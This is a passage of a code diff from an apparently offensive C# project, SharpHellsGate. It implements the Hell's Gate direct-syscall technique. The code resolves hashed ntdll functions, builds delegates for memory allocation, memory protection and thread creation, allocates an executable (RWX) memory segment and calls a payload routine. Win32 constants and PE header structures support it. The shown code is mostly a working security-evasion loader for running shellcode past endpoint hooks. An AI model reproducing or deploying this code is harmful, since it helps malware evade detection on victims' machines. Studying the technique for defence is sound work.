{ Util.NtAllocateVirtualMemoryHash, ntdll.GetAPITableEntry(Util.NtAllocateVirtualMemoryHash) },
{ Util.NtProtectVirtualMemoryHash, ntdll.GetAPITableEntry(Util.NtProtectVirtualMemoryHash) },
{ Util.NtCreateThreadExHash, ntdll.GetAPITableEntry(Util.NtCreateThreadExHash) },
{ Util.NtWaitForSingleObjectHash, ntdll.GetAPITableEntry(Util.NtWaitForSingleObjectHash) }
};
ntdll.Dispose();
Util.LogInfo($"NtAllocateVirtualMemory: 0x{APITable[Util.NtAllocateVirtualMemoryHash].Syscall:x4}");
Util.LogInfo($"NtProtectVirtualMemory: 0x{APITable[Util.NtProtectVirtualMemoryHash].Syscall:x4}");
Util.LogInfo($"NtWaitForSingleObject: 0x{APITable[Util.NtWaitForSingleObjectHash].Syscall:x4}");
Util.LogInfo($"NtCreateThreadEx: 0x{APITable[Util.NtCreateThreadExHash].Syscall:x4}\n");
HellsGate gate = new HellsGate(APITable);
gate.GenerateRWXMemorySegment();
gate.Payload();
return;
}
}
}
@@ -0,0 +1,18 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net5.0</TargetFramework>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|AnyCPU'">
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<PlatformTarget>x64</PlatformTarget>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|AnyCPU'">
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<PlatformTarget>x64</PlatformTarget>
</PropertyGroup>
</Project>
@@ -0,0 +1,128 @@
using System;
using System.Diagnostics;
namespace SharpHellsGate {
/// <summary>
/// Util class. Used mainly for debug output.
/// </summary>
public class Util {
/// <summary>
/// Structure used to store the name, address, system call and hash of a native Windows function.
/// </summary>
public struct APITableEntry {
public string Name;
public Int64 Address;
public Int16 Syscall;
public UInt64 Hash;
}
/// <summary>
/// DJB2 Hash of the NtAllocateVirtualMemory function name.
/// </summary>
public static UInt64 NtAllocateVirtualMemoryHash { get; } = 0xf5bd373480a6b89b;
/// <summary>
/// DJB2 Hash of the NtProtectVirtualMemory function name.
/// </summary>
public static UInt64 NtProtectVirtualMemoryHash { get; } = 0x858bcb1046fb6a37;
/// <summary>
/// DJB2 Hash of the NtCreateThreadEx function name.
/// </summary>
public static UInt64 NtCreateThreadExHash { get; } = 0x64dc7db288c5015f;
/// <summary>
/// DJB2 Hash of the NtWaitForSingleObject function name.
/// </summary>
public static UInt64 NtWaitForSingleObjectHash { get; } = 0xc6a2fa174e551bcb;
/// <summary>
/// Log an informational information.
/// </summary>
/// <param name="msg">Message to log.</param>
/// <param name="indent">Indentation level.</param>
/// <param name="prefix">Message prefix.</param>
public static void LogInfo(string msg, int indent = 0, string prefix = "[>]") {
#if DEBUG
if (string.IsNullOrEmpty(msg))
return;
LogMessage(msg, prefix, indent, ConsoleColor.Blue);
#endif
}
/// <summary>
/// Log an error information.
/// </summary>
/// <param name="msg">Message to log.</param>
/// <param name="indent">Indentation level.</param>
/// <param name="prefix">Message prefix.</param>
public static void LogError(string msg, int indent = 0, string prefix = "[-]") {
#if DEBUG
if (string.IsNullOrEmpty(msg))
return;
LogMessage(msg, prefix, indent, ConsoleColor.Red);
#endif
}
/// <summary>
/// Log a success information.
/// </summary>
/// <param name="msg">Message to log.</param>
/// <param name="indent">Indentation level.</param>
/// <param name="prefix">Message prefix</param>
public static void LogSuccess(string msg, int indent = 0, string prefix = "[+]") {
#if DEBUG
if (string.IsNullOrEmpty(msg))
return;
LogMessage(msg, prefix, indent, ConsoleColor.Green);
#endif
}
/// <summary>
/// Log a string to the console and to the debugger.
/// </summary>
/// <param name="msg">Message to log.</param>
/// <param name="indent">Indentation level.</param>
/// <param name="prefix">Message prefix.</param>
/// <param name="color">The color of the prifix on the console.</param>
private static void LogMessage(string msg, string prefix, int indent, ConsoleColor color) {
// Indent
Console.Write(new String(' ', indent));
Trace.Write(new String(' ', indent));
// Color and prefix
Trace.Write(prefix);
Console.ForegroundColor = color;
Console.Write(prefix);
Console.ResetColor();
// Message
Console.WriteLine($" {msg}");
Trace.WriteLine($" {msg}");
}
/// <summary>
/// Revisited DJB2 algorithm.
/// </summary>
/// <param name="FunctionName">The ASCII name of a function.</param>
/// <returns>The djb2 hash of the function name.</returns>
public static UInt64 GetFunctionDJB2Hash(string FunctionName) {
if (string.IsNullOrEmpty(FunctionName))
return 0;
UInt64 hash = 0x7734773477347734;
foreach (char c in FunctionName)
hash = ((hash << 0x5) + hash) + (byte)c;
return hash;
}
}
}
@@ -0,0 +1,93 @@
using System;
using System.Runtime.InteropServices;
namespace SharpHellsGate.Win32 {
/// <summary>
/// Contains all the delegates used to execute the system calls.
/// </summary>
public class DFunctions {
/// <summary>
/// Managed wrapper around the NtAllocateVirtualMemory native Windows function
/// </summary>
/// <param name="ProcessHandle">A handle for the process for which the mapping should be done.</param>
/// <param name="BaseAddress">A pointer to a variable that will receive the base address of the allocated region of pages.</param>
/// <param name="ZeroBits">The number of high-order address bits that must be zero in the base address of the section view.</param>
/// <param name="RegionSize">A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages.</param>
/// <param name="AllocationType">A bitmask containing flags that specify the type of allocation to be performed for the specified region of pages.</param>
/// <param name="Protect">A bitmask containing page protection flags that specify the protection desired for the committed region of pages.</param>
/// <returns>NtAllocateVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
UInt32 AllocationType,
UInt32 Protect
);
/// <summary>
/// Managed wrapper around the NtProtectVirtualMemory native Windows function.
/// </summary>
/// <param name="ProcessHandle">Handle to Process Object opened with PROCESS_VM_OPERATION access.</param>
/// <param name="BaseAddress">Pointer to base address to protect. Protection will change on all page containing specified address. On output, BaseAddress will point to page start address.</param>
/// <param name="NumberOfBytesToProtect">Pointer to size of region to protect. On output will be round to page size (4KB).</param>
/// <param name="NewAccessProtection">One or some of PAGE_... attributes.</param>
/// <param name="OldAccessProtection">Receive previous protection.</param>
/// <returns>NtProtectVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtProtectVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ref IntPtr RegionSize,
UInt32 NewProtect,
out UInt32 OldProtect
);
/// <summary>
/// Managed wrapper around the NtCreateThreadEx native Windows function.
/// </summary>
/// <param name="hThread">Caller supplied storage for the resulting handle.</param>
/// <param name="DesiredAccess">Specifies the allowed or desired access to the thread.</param>
/// <param name="ObjectAttributes">Initialized attributes for the object.</param>
/// <param name="ProcessHandle">Handle to the threads parent process.</param>
/// <param name="lpStartAddress">Address of the function to execute.</param>
/// <param name="lpParameter">Parameters to pass to the function.</param>
/// <param name="CreateSuspended">Whether the thread will be in suspended mode and has to be resumed later.</param>
/// <param name="StackZeroBits"></param>
/// <param name="SizeOfStackCommit">Initial stack memory to commit.</param>
/// <param name="SizeOfStackReserve">Initial stack memory to reserve.</param>
/// <param name="lpBytesBuffer"></param>
/// <returns>NtCreateThreadEx returns either STATUS_SUCCESS or an error status code.</returns>
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtCreateThreadEx(
ref IntPtr hThread,
uint DesiredAccess,
IntPtr ObjectAttributes,
IntPtr ProcessHandle,
IntPtr lpStartAddress,
IntPtr lpParameter,
bool CreateSuspended,
uint StackZeroBits,
uint SizeOfStackCommit,
uint SizeOfStackReserve,
IntPtr lpBytesBuffer
);
/// <summary>
/// Managed wrapper around the NtWaitForSingleObject native Windows function.
/// </summary>
/// <param name="ObjectHandle">Open handle to a alertable executive object.</param>
/// <param name="Alertable">If set, calling thread is signaled, so all queued APC routines are executed.</param>
/// <param name="TimeOuts">Time-out interval, in microseconds. NULL means infinite.</param>
/// <returns>NtWaitForSingleObject returns either STATUS_SUCCESS or an error status code.</returns>
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtWaitForSingleObject(
IntPtr ObjectHandle,
bool Alertable,
ref Structures.LARGE_INTEGER TimeOut
);
}
}
@@ -0,0 +1,78 @@
using System;
namespace SharpHellsGate.Win32 {
/// <summary>
/// Windows Macros used for error and success codes and bitmasks.
/// </summary>
public static class Macros {
// NTSTATUS
public static bool NT_SUCCESS(UInt32 ntstatus) => ntstatus <= 0x3FFFFFFF;
public static bool NT_INFORMATION(UInt32 ntstatus) => ntstatus >= 0x40000000 && ntstatus <= 0x7FFFFFFF;
public static bool NT_WARNING(UInt32 ntstatus) => ntstatus >= 0x80000000 && ntstatus <= 0xBFFFFFFF;
public static bool NT_ERROR(UInt32 ntstatus) => ntstatus >= 0xC0000000 && ntstatus <= 0xFFFFFFFF;
// Common NTSTATUS
public static UInt32 STATUS_SUCCESS { get; } = 0x00000000;
public static UInt32 STATUS_UNSUCCESSFUL { get; } = 0xC0000001;
public static UInt32 STATUS_NOT_IMPLEMENTED { get; } = 0xC0000002;
// Portable Executable
public static Int16 IMAGE_DOS_SIGNATURE { get; } = 0x5a00 | 0x4D; // MZ
public static Int32 IMAGE_NT_SIGNATURE { get; } = 0x00004500 | 0x00000050; // PE00
// Pseudo-Handles
public static IntPtr GetCurrentProcess() => new IntPtr(-1);
public static IntPtr GetCurrentThread() => new IntPtr(-2);
public static IntPtr GetCurrentProcessToken() => new IntPtr(-4);
public static IntPtr GetCurrentThreadToken() => new IntPtr(-5);
public static IntPtr GetCurrentThreadEffectiveToken() => new IntPtr(-6);
// Page and Memory permissions
public static UInt32 PAGE_NOACCESS { get; } = 0x01;
public static UInt32 PAGE_READONLY { get; } = 0x02;
public static UInt32 PAGE_READWRITE { get; } = 0x04;
public static UInt32 PAGE_WRITECOPY { get; } = 0x08;
public static UInt32 PAGE_EXECUTE { get; } = 0x10;
public static UInt32 PAGE_EXECUTE_READ { get; } = 0x20;
public static UInt32 PAGE_EXECUTE_READWRITE { get; } = 0x40;
public static UInt32 PAGE_EXECUTE_WRITECOPY { get; } = 0x80;
public static UInt32 PAGE_GUARD { get; } = 0x100;
public static UInt32 PAGE_NOCACHE { get; } = 0x200;
public static UInt32 PAGE_WRITECOMBINE { get; } = 0x400;
public static UInt32 PAGE_GRAPHICS_NOACCESS { get; } = 0x0800;
public static UInt32 PAGE_GRAPHICS_READONLY { get; } = 0x1000;
public static UInt32 PAGE_GRAPHICS_READWRITE { get; } = 0x2000;
public static UInt32 PAGE_GRAPHICS_EXECUTE { get; } = 0x4000;
public static UInt32 PAGE_GRAPHICS_EXECUTE_READ { get; } = 0x8000;
public static UInt32 PAGE_GRAPHICS_EXECUTE_READWRITE { get; } = 0x10000;
public static UInt32 PAGE_GRAPHICS_COHERENT { get; } = 0x20000;
public static UInt32 PAGE_ENCLAVE_THREAD_CONTROL { get; } = 0x80000000;
public static UInt32 PAGE_REVERT_TO_FILE_MAP { get; } = 0x80000000;
public static UInt32 PAGE_TARGETS_NO_UPDATE { get; } = 0x40000000;
public static UInt32 PAGE_TARGETS_INVALID { get; } = 0x40000000;
public static UInt32 PAGE_ENCLAVE_UNVALIDATED { get; } = 0x20000000;
public static UInt32 PAGE_ENCLAVE_DECOMMIT { get; } = 0x10000000;
public static UInt32 MEM_COMMIT { get; } = 0x00001000;
public static UInt32 MEM_RESERVE { get; } = 0x00002000;
public static UInt32 MEM_REPLACE_PLACEHOLDER { get; } = 0x00004000;
public static UInt32 MEM_RESERVE_PLACEHOLDER { get; } = 0x00040000;
public static UInt32 MEM_RESET { get; } = 0x00080000 ;
public static UInt32 MEM_TOP_DOWN { get; } = 0x00100000;
public static UInt32 MEM_WRITE_WATCH { get; } = 0x00200000;
public static UInt32 MEM_PHYSICAL { get; } = 0x00400000;
public static UInt32 MEM_ROTATE { get; } = 0x00800000;
public static UInt32 MEM_DIFFERENT_IMAGE_BASE_OK { get; } = 0x00800000;
public static UInt32 MEM_RESET_UNDO { get; } = 0x01000000;
public static UInt32 MEM_LARGE_PAGES { get; } = 0x20000000;
public static UInt32 MEM_4MB_PAGES { get; } = 0x80000000;
public static UInt32 MEM_64K_PAGES { get; } = (MEM_LARGE_PAGES | MEM_PHYSICAL);
public static UInt32 MEM_UNMAP_WITH_TRANSIENT_BOOST { get; } = 0x00000001;
public static UInt32 MEM_COALESCE_PLACEHOLDERS { get; } = 0x00000001;
public static UInt32 MEM_PRESERVE_PLACEHOLDER { get; } = 0x00000002;
public static UInt32 MEM_DECOMMIT { get; } = 0x00004000;
public static UInt32 MEM_RELEASE { get; } = 0x00008000;
public static UInt32 MEM_FREE { get; } = 0x00010000;
}
}
@@ -0,0 +1,128 @@
using System;
using System.Runtime.InteropServices;
namespace SharpHellsGate.Win32 {
public static class Structures {
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_DOS_HEADER {
public UInt16 e_magic; /*+0x000*/
public UInt16 e_cblp; /*+0x002*/
public UInt16 e_cp; /*+0x004*/
public UInt16 e_crlc; /*+0x006*/
public UInt16 e_cparhdr; /*+0x008*/
public UInt16 e_minalloc; /*+0x00a*/
public UInt16 e_maxalloc; /*+0x00c*/
public UInt16 e_ss; /*+0x00e*/
public UInt16 e_sp; /*+0x010*/
public UInt16 e_csum; /*+0x012*/
public UInt16 e_ip; /*+0x014*/
public UInt16 e_cs; /*+0x016*/
public UInt16 e_lfarlc; /*+0x018*/
public UInt16 e_ovno; /*+0x01a*/
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public UInt16[] e_res; /*+0x01c*/
public UInt16 e_oemid; /*+0x024*/
public UInt16 e_oeminfo; /*+0x026*/
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public UInt16[] e_res2; /*+0x028*/
public UInt32 e_lfanew; /*+0x03c*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_FILE_HEADER {
public UInt16 Machine; /*+0x000*/
public UInt16 NumberOfSections; /*+0x002*/
public UInt32 TimeDateStamp; /*+0x004*/
public UInt32 PointerToSymbolTable; /*+0x008*/
public UInt32 NumberOfSymbols; /*+0x00c*/
public UInt16 SizeOfOptionalHeader; /*+0x010*/
public UInt16 Characteristics; /*+0x012*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_DATA_DIRECTORY {
public UInt32 VirtualAddress; /*+0x000*/
public UInt32 Size; /*+0x004*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER64 {
public UInt16 Magic; /*+0x000*/
public Byte MajorLinkerVersion; /*+0x002*/
public Byte MinorLinkerVersion; /*+0x003*/
public UInt32 SizeOfCode; /*+0x004*/
public UInt32 SizeOfInitializedDatal; /*+0x008*/
public UInt32 SizeOfUninitializedData; /*+0x00c*/
public UInt32 AddressOfEntryPoint; /*+0x010*/
public UInt32 BaseOfCode; /*+0x014*/
public UInt64 ImageBasel; /*+0x018*/
public UInt32 SectionAlignment; /*+0x020*/
public UInt32 FileAlignment; /*+0x024*/
public UInt16 MajorOperatingSystemVersion; /*+0x028*/
public UInt16 MinorOperatingSystemVersion; /*+0x02a*/
public UInt16 MajorImageVersion; /*+0x02c*/
public UInt16 MinorImageVersion; /*+0x02e*/
public UInt16 MajorSubsystemVersion; /*+0x030*/
public UInt16 MinorSubsystemVersion; /*+0x032*/
public UInt32 Win32VersionValue; /*+0x034*/
public UInt32 SizeOfImage; /*+0x038*/
public UInt32 SizeOfHeaders; /*+0x03c*/
public UInt32 CheckSum; /*+0x040*/
public UInt16 Subsystem; /*+0x044*/
public UInt16 DllCharacteristics; /*+0x046*/
public UInt64 SizeOfStackReserve; /*+0x048*/
public UInt64 SizeOfStackCommit; /*+0x050*/
public UInt64 SizeOfHeapReserve; /*+0x058*/
public UInt64 SizeOfHeapCommit; /*+0x060*/
public UInt32 LoaderFlags; /*+0x068*/
public UInt32 NumberOfRvaAndSizes; /*+0x06c*/
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public IMAGE_DATA_DIRECTORY[] DataDirectory; /*+0x070*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_NT_HEADERS64 {
public UInt32 Signature; /*+0x000*/
public IMAGE_FILE_HEADER FileHeader; /*+0x004*/
public IMAGE_OPTIONAL_HEADER64 OptionalHeader; /*+0x018*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_EXPORT_DIRECTORY {
public UInt32 Characteristics; /*+0x000*/
public UInt32 TimeDateStamp; /*+0x004*/
public UInt16 MajorVersion; /*+0x008*/
public UInt16 MinorVersion; /*+0x00a*/
public UInt32 Name; /*+0x00c*/
public UInt32 Base; /*+0x010*/
public UInt32 NumberOfFunctions; /*+0x014*/
public UInt32 NumberOfNames; /*+0x018*/
public UInt32 AddressOfFunctions; /*+0x01c*/
public UInt32 AddressOfNames; /*+0x020*/
public UInt32 AddressOfNameOrdinals; /*+0x024*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_SECTION_HEADER {
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
public string Name; /*+0x000*/
public UInt32 Misc; /*+0x008*/
public UInt32 VirtualAddress; /*+0x00c*/
public UInt32 SizeOfRawData; /*+0x010*/
public UInt32 PointerToRawData; /*+0x014*/
public UInt32 PointerToRelocations; /*+0x018*/
public UInt32 PointerToLinenumbers; /*+0x01c*/
public UInt16 NumberOfRelocations; /*+0x020*/
public UInt16 NumberOfLinenumbers; /*+0x022*/
public UInt32 Characteristics; /*+0x024*/
}
[StructLayout(LayoutKind.Explicit, Size = 1)]
public struct LARGE_INTEGER {
[FieldOffset(0)] public Int64 QuadPart; /*+0x000*/
[FieldOffset(0)] public UInt32 LowPart; /*+0x000*/
[FieldOffset(4)] public UInt32 HighPart; /*+0x004*/
}
}
}